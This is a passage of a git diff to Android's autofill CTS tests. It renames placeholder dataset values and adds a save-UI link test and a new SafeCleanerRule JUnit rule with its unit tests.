-                        .setField(ID_L3C1, bogusValue)
-                        .setField(ID_L3C2, bogusValue)
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .build();
         sReplier.addResponse(response3);
@@ -1451,19 +1444,18 @@
                 new CannedDataset.Builder()
                     .setField(ID_L4C1, "L4C1")
                     .setField(ID_L4C2, "L4C2")
-                    .setPresentation(bogusPresentation)
                     .build());
         final CannedFillResponse response4 = new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth41)
                         .setPresentation(createPresentation("P4D1"))
-                        .setField(ID_L4C1, bogusValue)
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth42)
                         .setPresentation(createPresentation("P4D2"))
-                        .setField(ID_L4C1, bogusValue)
-                        .setField(ID_L4C2, bogusValue)
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .build();
         sReplier.addResponse(response4);
@@ -1496,10 +1488,6 @@
         // Set service.
         enableService();
 
-        // TODO: current API requires these fields...
-        final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
-        final String bogusValue = "Y U REQUIRE IT?";
-
         /**
          * 1st partition.
          */
@@ -1508,19 +1496,18 @@
                 new CannedDataset.Builder()
                         .setField(ID_L1C1, "l1c1")
                         .setField(ID_L1C2, "l1c2")
-                        .setPresentation(bogusPresentation)
                         .build());
         final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
         final CannedFillResponse response1 = new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth11)
-                        .setField(ID_L1C1, bogusValue)
-                        .setField(ID_L1C2, bogusValue)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE)
                         .setPresentation(createPresentation("P1D1"))
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth12)
-                        .setField(ID_L1C1, bogusValue)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
                         .setPresentation(createPresentation("P1D2"))
                         .build())
                 .build();
@@ -1541,19 +1528,18 @@
         final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
                 new CannedDataset.Builder()
                     .setField(ID_L2C2, "L2C2")
-                    .setPresentation(bogusPresentation)
                     .build());
         final CannedFillResponse response2 = new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth21)
                         .setPresentation(createPresentation("P2D1"))
-                        .setField(ID_L2C1, bogusValue)
-                        .setField(ID_L2C2, bogusValue)
+                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth22)
                         .setPresentation(createPresentation("P2D2"))
-                        .setField(ID_L2C2, bogusValue)
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .build();
         sReplier.addResponse(response2);
@@ -1572,21 +1558,20 @@
                 new CannedDataset.Builder()
                         .setField(ID_L3C1, "l3c1")
                         .setField(ID_L3C2, "l3c2")
-                        .setPresentation(bogusPresentation)
                         .build());
         final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
         final CannedFillResponse response3 = new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth31)
                         .setPresentation(createPresentation("P3D1"))
-                        .setField(ID_L3C1, bogusValue)
-                        .setField(ID_L3C2, bogusValue)
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth32)
                         .setPresentation(createPresentation("P3D2"))
-                        .setField(ID_L3C1, bogusValue)
-                        .setField(ID_L3C2, bogusValue)
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .build();
         sReplier.addResponse(response3);
@@ -1607,19 +1592,18 @@
                 new CannedDataset.Builder()
                     .setField(ID_L4C1, "L4C1")
                     .setField(ID_L4C2, "L4C2")
-                    .setPresentation(bogusPresentation)
                     .build());
         final CannedFillResponse response4 = new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth41)
                         .setPresentation(createPresentation("P4D1"))
-                        .setField(ID_L4C1, bogusValue)
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth42)
                         .setPresentation(createPresentation("P4D2"))
-                        .setField(ID_L4C1, bogusValue)
-                        .setField(ID_L4C2, bogusValue)
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .build();
         sReplier.addResponse(response4);
@@ -1683,10 +1667,6 @@
         // Set service.
         enableService();
 
-        // TODO: current API requires these fields...
-        final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
-        final String bogusValue = "Y U REQUIRE IT?";
-
         /**
          * 1st partition.
          */
@@ -1700,7 +1680,7 @@
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth12)
-                        .setField(ID_L1C1, bogusValue)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
                         .setPresentation(createPresentation("P1D2"))
                         .build())
                 .build();
@@ -1720,7 +1700,6 @@
         final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
                 new CannedDataset.Builder()
                     .setField(ID_L2C2, "L2C2")
-                    .setPresentation(bogusPresentation)
                     .build());
         final CannedFillResponse response2 = new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
@@ -1731,7 +1710,7 @@
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth22)
                         .setPresentation(createPresentation("P2D2"))
-                        .setField(ID_L2C2, bogusValue)
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .build();
         sReplier.addResponse(response2);
@@ -1750,14 +1729,13 @@
                 new CannedDataset.Builder()
                         .setField(ID_L3C1, "l3c1")
                         .setField(ID_L3C2, "l3c2")
-                        .setPresentation(bogusPresentation)
                         .build());
         final CannedFillResponse response3 = new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth31)
                         .setPresentation(createPresentation("P3D1"))
-                        .setField(ID_L3C1, bogusValue)
-                        .setField(ID_L3C2, bogusValue)
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setPresentation(createPresentation("P3D2"))
@@ -1783,7 +1761,7 @@
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth41)
                         .setPresentation(createPresentation("P4D1"))
-                        .setField(ID_L4C1, bogusValue)
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setPresentation(createPresentation("P4D2"))
@@ -1876,10 +1854,6 @@
         // Set service.
         enableService();
 
-        // TODO: current API requires these fields...
-        final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
-        final String bogusValue = "Y U REQUIRE IT?";
-
         /**
          * 1st partition.
          */
@@ -1893,7 +1867,7 @@
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth12)
-                        .setField(ID_L1C1, bogusValue)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
                         .setPresentation(createPresentation("P1D2"))
                         .build())
                 .build();
@@ -1917,15 +1891,14 @@
                     .setField(ID_L1C1, "2l1c1") // from previous partition
                     .setField(ID_L2C1, "2l2c1")
                     .setField(ID_L2C2, "2l2c2")
-                    .setPresentation(bogusPresentation)
                     .build());
         final CannedFillResponse response2 = new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth21)
                         .setPresentation(createPresentation("P2D1"))
-                        .setField(ID_L1C1, bogusValue) // from previous partition
-                        .setField(ID_L2C1, bogusValue)
-                        .setField(ID_L2C2, bogusValue)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setPresentation(createPresentation("P2D2"))
@@ -1957,23 +1930,22 @@
                         .setField(ID_L1C2, "3l1c2") // from previous partition
                         .setField(ID_L3C1, "3l3c1")
                         .setField(ID_L3C2, "3l3c2")
-                        .setPresentation(bogusPresentation)
                         .build());
         final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
         final CannedFillResponse response3 = new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth31)
                         .setPresentation(createPresentation("P3D1"))
-                        .setField(ID_L1C2, bogusValue) // from previous partition
-                        .setField(ID_L3C1, bogusValue)
-                        .setField(ID_L3C2, bogusValue)
+                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth32)
                         .setPresentation(createPresentation("P3D2"))
-                        .setField(ID_L2C2, bogusValue) // from previous partition
-                        .setField(ID_L3C1, bogusValue)
-                        .setField(ID_L3C2, bogusValue)
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .build();
         sReplier.addResponse(response3);
@@ -2009,7 +1981,6 @@
                         .setField(ID_L3C1, "4l3c1") // from previous partition
                         .setField(ID_L3C2, "4l3c2") // from previous partition
                         .setField(ID_L4C1, "4l4c1")
-                        .setPresentation(bogusPresentation)
                         .build());
         final IntentSender auth42 = AuthenticationActivity.createSender(getContext(), 42,
                 new CannedDataset.Builder()
@@ -2022,32 +1993,31 @@
                         .setField(ID_L1C1, "4L1C1") // from previous partition
                         .setField(ID_L4C1, "4L4C1")
                         .setField(ID_L4C2, "4L4C2")
-                        .setPresentation(bogusPresentation)
                         .build());
         final CannedFillResponse response4 = new CannedFillResponse.Builder()
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth41)
                         .setPresentation(createPresentation("P4D1"))
-                        .setField(ID_L1C1, bogusValue) // from previous partition
-                        .setField(ID_L1C2, bogusValue) // from previous partition
-                        .setField(ID_L2C1, bogusValue) // from previous partition
-                        .setField(ID_L2C2, bogusValue) // from previous partition
-                        .setField(ID_L3C1, bogusValue) // from previous partition
-                        .setField(ID_L3C2, bogusValue) // from previous partition
-                        .setField(ID_L4C1, bogusValue)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .addDataset(new CannedDataset.Builder()
                         .setAuthentication(auth42)
                         .setPresentation(createPresentation("P4D2"))
-                        .setField(ID_L1C1, bogusValue) // from previous partition
-                        .setField(ID_L1C2, bogusValue) // from previous partition
-                        .setField(ID_L2C1, bogusValue) // from previous partition
-                        .setField(ID_L2C2, bogusValue) // from previous partition
-                        .setField(ID_L3C1, bogusValue) // from previous partition
-                        .setField(ID_L3C2, bogusValue) // from previous partition
-                        .setField(ID_L1C1, bogusValue) // from previous partition
-                        .setField(ID_L4C1, bogusValue)
-                        .setField(ID_L4C2, bogusValue)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
                         .build())
                 .build();
         sReplier.addResponse(response4);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java
index 5cdcf9b..1cb5942 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java
@@ -29,10 +29,20 @@
     static final String ID_PRE_LABEL = "preLabel";
     static final String ID_PRE_INPUT = "preInput";
 
+    private static PreSimpleSaveActivity sInstance;
+
     TextView mPreLabel;
     EditText mPreInput;
     Button mSubmit;
 
+    public static PreSimpleSaveActivity getInstance() {
+        return sInstance;
+    }
+
+    public PreSimpleSaveActivity() {
+        sInstance = this;
+    }
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -48,4 +58,22 @@
             startActivity(new Intent(this, SimpleSaveActivity.class));
         });
     }
+
+    FillExpectation expectAutoFill(String input) {
+        final FillExpectation expectation = new FillExpectation(input);
+        mPreInput.addTextChangedListener(expectation.mInputWatcher);
+        return expectation;
+    }
+
+    final class FillExpectation {
+        private final OneTimeTextWatcher mInputWatcher;
+
+        private FillExpectation(String input) {
+            mInputWatcher = new OneTimeTextWatcher("input", mPreInput, input);
+        }
+
+        void assertAutoFilled() throws Exception {
+            mInputWatcher.assertAutoFilled();
+        }
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
index b193ddf..c8815c2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
@@ -15,6 +15,7 @@
  */
 package android.autofillservice.cts;
 
+import static android.autofillservice.cts.Helper.ID_STATIC_TEXT;
 import static android.autofillservice.cts.Helper.assertTextAndValue;
 import static android.autofillservice.cts.Helper.findNodeByResourceId;
 import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
@@ -24,13 +25,23 @@
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
 import android.content.Intent;
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.Validator;
+import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiObject2;
 import android.view.View;
+import android.widget.RemoteViews;
 
 import org.junit.Rule;
 
+import java.util.regex.Pattern;
+
 public class PreSimpleSaveActivityTest extends CustomDescriptionWithLinkTestCase {
 
     @Rule
@@ -330,4 +341,58 @@
         final SaveRequest saveRequest1 = sReplier.getNextSaveRequest();
         assertTextAndValue(findNodeByResourceId(saveRequest1.structure, ID_INPUT), "42");
     }
+
+    @Override
+    protected void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception {
+        startActivity(false);
+        // Set service.
+        enableService();
+
+        final CustomDescription.Builder customDescription =
+                newCustomDescriptionBuilder(WelcomeActivity.class);
+        final RemoteViews update = newTemplate();
+        if (updateLinkView) {
+            update.setCharSequence(R.id.link, "setText", "TAP ME IF YOU CAN");
+        } else {
+            update.setCharSequence(R.id.static_text, "setText", "ME!");
+        }
+        Validator validCondition = new RegexValidator(mActivity.mPreInput.getAutofillId(),
+                Pattern.compile(".*"));
+        customDescription.batchUpdate(validCondition,
+                new BatchUpdates.Builder().updateTemplate(update).build());
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setCustomDescription(customDescription.build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+        sReplier.getNextFillRequest();
+        Helper.assertHasSessions(mPackageName);
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPreInput.setText("108");
+            mActivity.mSubmit.performClick();
+        });
+        // Make sure post-save activity is shown...
+        sUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Tap the link.
+        final UiObject2 saveUi;
+        if (updateLinkView) {
+            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD, "TAP ME IF YOU CAN");
+        } else {
+            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+            final UiObject2 changed = saveUi.findObject(By.res(mPackageName, ID_STATIC_TEXT));
+            assertThat(changed.getText()).isEqualTo("ME!");
+        }
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java b/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java
new file mode 100644
index 0000000..bceb11b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.support.annotation.NonNull;
+import android.util.Log;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.Callable;
+
+/**
+ * Rule used to safely run clean up code after a test is finished, so that exceptions thrown by
+ * the cleanup code don't hide exception thrown by the test body
+ */
+// TODO: move to common CTS code
+public final class SafeCleanerRule implements TestRule {
+
+    private static final String TAG = "SafeCleanerRule";
+
+    private final List<Runnable> mCleaners = new ArrayList<>();
+    private final List<Callable<List<Throwable>>> mExtraThrowables = new ArrayList<>();
+    private final List<Throwable> mThrowables = new ArrayList<>();
+
+    /**
+     * Runs {@code cleaner} after the test is finished, catching any {@link Throwable} thrown by it.
+     */
+    public SafeCleanerRule run(@NonNull Runnable cleaner) {
+        mCleaners.add(cleaner);
+        return this;
+    }
+
+    /**
+     * Adds exceptions directly.
+     *
+     * <p>Typically used when exceptions were caught asychronously during the test execution.
+     */
+    public SafeCleanerRule add(@NonNull Callable<List<Throwable>> exceptions) {
+        mExtraThrowables.add(exceptions);
+        return this;
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                // First run the test
+                try {
+                    base.evaluate();
+                } catch (Throwable t) {
+                    Log.w(TAG, "Adding exception from main test");
+                    mThrowables.add(t);
+                }
+
+                // Then the cleanup runners
+                for (Runnable runner : mCleaners) {
+                    try {
+                        runner.run();
+                    } catch (Throwable t) {
+                        Log.w(TAG, "Adding exception from cleaner");
+                        mThrowables.add(t);
+                    }
+                }
+
+                // And finally add the extra exceptions
+                for (Callable<List<Throwable>> extraThrowablesCallable : mExtraThrowables) {
+                    final List<Throwable> extraThrowables = extraThrowablesCallable.call();
+                    if (extraThrowables != null) {
+                        Log.w(TAG, "Adding " + extraThrowables.size() + " extra exceptions");
+                        mThrowables.addAll(extraThrowables);
+                    }
+                }
+
+                // Finally, throw up!
+                if (mThrowables.isEmpty()) return;
+
+                final int numberExceptions = mThrowables.size();
+                if (numberExceptions == 1) {
+                    throw mThrowables.get(0);
+                }
+                throw new MultipleExceptions(mThrowables);
+            }
+        };
+    }
+
+    private static String toMesssage(List<Throwable> throwables) {
+        String msg = "D'OH!";
+        try {
+            try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
+                sw.write("Caught " + throwables.size() + " exceptions\n");
+                for (int i = 0; i < throwables.size(); i++) {
+                    sw.write("\n---- Begin of exception #" + (i + 1) + " ----\n");
+                    final Throwable exception = throwables.get(i);
+                    exception.printStackTrace(pw);
+                    sw.write("---- End of exception #" + (i + 1) + " ----\n\n");
+                }
+                msg = sw.toString();
+            }
+        } catch (IOException e) {
+            // ignore close() errors - should not happen...
+            Log.e(TAG, "Exception closing StringWriter: " + e);
+        }
+        return msg;
+    }
+
+    // VisibleForTesting
+    static class MultipleExceptions extends AssertionError {
+        private final List<Throwable> mThrowables;
+
+        private MultipleExceptions(List<Throwable> throwables) {
+            super(toMesssage(throwables));
+
+            this.mThrowables = throwables;
+        }
+
+        List<Throwable> getThrowables() {
+            return mThrowables;
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java
new file mode 100644
index 0000000..7fc021e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.verify;
+import static org.testng.Assert.expectThrows;
+
+import com.google.common.collect.ImmutableList;
+
+import org.junit.Test;
+import org.junit.runner.Description;
+import org.junit.runner.RunWith;
+import org.junit.runners.model.Statement;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+import java.util.List;
+import java.util.concurrent.Callable;
+
+@RunWith(MockitoJUnitRunner.class)
+public class SafeCleanerRuleTest {
+
+    private static class FailureStatement extends Statement {
+        private final Throwable mThrowable;
+
+        FailureStatement(Throwable t) {
+            mThrowable = t;
+        }
+
+        @Override
+        public void evaluate() throws Throwable {
+            throw mThrowable;
+        }
+    }
+
+    private final Description mDescription = Description.createSuiteDescription("Whatever");
+    private final RuntimeException mRuntimeException = new RuntimeException("D'OH!");
+
+    // Use mocks for objects that don't throw any exception.
+    @Mock private Runnable mGoodGuyRunner1;
+    @Mock private Runnable mGoodGuyRunner2;
+    @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions1;
+    @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions2;
+    @Mock private Statement mGoodGuyStatement;
+
+    @Test
+    public void testEmptyRule_testPass() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule();
+        rule.apply(mGoodGuyStatement, mDescription).evaluate();
+    }
+
+    @Test
+    public void testEmptyRule_testFails() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule();
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+    }
+
+    @Test
+    public void testOnlyTestFails() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .run(mGoodGuyRunner1)
+                .add(mGoodGuyExtraExceptions1);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyExtraExceptions1).call();
+    }
+
+    @Test
+    public void testTestPass_oneRunnerFails() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .run(mGoodGuyRunner1)
+                .run(() -> { throw mRuntimeException; })
+                .run(mGoodGuyRunner2)
+                .add(mGoodGuyExtraExceptions1);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+    }
+
+    @Test
+    public void testTestPass_oneExtraExceptionThrown() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .run(mGoodGuyRunner1)
+                .add(() -> { return ImmutableList.of(mRuntimeException); })
+                .add(mGoodGuyExtraExceptions1)
+                .run(mGoodGuyRunner2);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+    }
+
+    @Test
+    public void testThrowTheKitchenSinkAKAEverybodyThrows() throws Throwable {
+        final Exception extra1 = new Exception("1");
+        final Exception extra2 = new Exception("2");
+        final Exception extra3 = new Exception("3");
+        final Error error1 = new Error("one");
+        final Error error2 = new Error("two");
+        final RuntimeException testException  = new RuntimeException("TEST, Y U NO PASS?");
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .run(mGoodGuyRunner1)
+                .add(mGoodGuyExtraExceptions1)
+                .add(() -> { return ImmutableList.of(extra1, extra2); })
+                .run(() -> {
+                    throw error1;
+                })
+                .run(mGoodGuyRunner2)
+                .add(() -> { return ImmutableList.of(extra3); })
+                .add(mGoodGuyExtraExceptions2)
+                .run(() -> { throw error2; });
+
+        final SafeCleanerRule.MultipleExceptions actualException = expectThrows(
+                SafeCleanerRule.MultipleExceptions.class,
+                () -> rule.apply(new FailureStatement(testException), mDescription).evaluate());
+        assertThat(actualException.getThrowables())
+                .containsExactly(testException, error1, error2, extra1, extra2, extra3)
+                .inOrder();
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java b/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
index 702e1b1..d34eda1 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
@@ -16,8 +16,11 @@
 
 package android.autofillservice.cts;
 
+import static org.mockito.Mockito.mock;
 import static org.testng.Assert.assertThrows;
 
+import android.service.autofill.InternalSanitizer;
+import android.service.autofill.Sanitizer;
 import android.service.autofill.SaveInfo;
 import android.support.test.runner.AndroidJUnit4;
 import android.view.autofill.AutofillId;
@@ -28,6 +31,9 @@
 @RunWith(AndroidJUnit4.class)
 public class SaveInfoTest {
 
+    private  final AutofillId mId = new AutofillId(42);
+    private final InternalSanitizer mSanitizer = mock(InternalSanitizer.class);
+
     @Test
     public void testRequiredIdsBuilder_null() {
         assertThrows(IllegalArgumentException.class,
@@ -56,14 +62,14 @@
     @Test
     public void testSetOptionalIds_null() {
         final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
-                new AutofillId[] { new AutofillId(42) });
+                new AutofillId[] { mId });
         assertThrows(IllegalArgumentException.class, ()-> builder.setOptionalIds(null));
     }
 
     @Test
     public void testSetOptional_empty() {
         final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
-                new AutofillId[] { new AutofillId(42) });
+                new AutofillId[] { mId });
         assertThrows(IllegalArgumentException.class,
                 () -> builder.setOptionalIds(new AutofillId[] {}));
     }
@@ -71,8 +77,38 @@
     @Test
     public void testSetOptional_nullEntry() {
         final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
-                new AutofillId[] { new AutofillId(42) });
+                new AutofillId[] { mId });
         assertThrows(IllegalArgumentException.class,
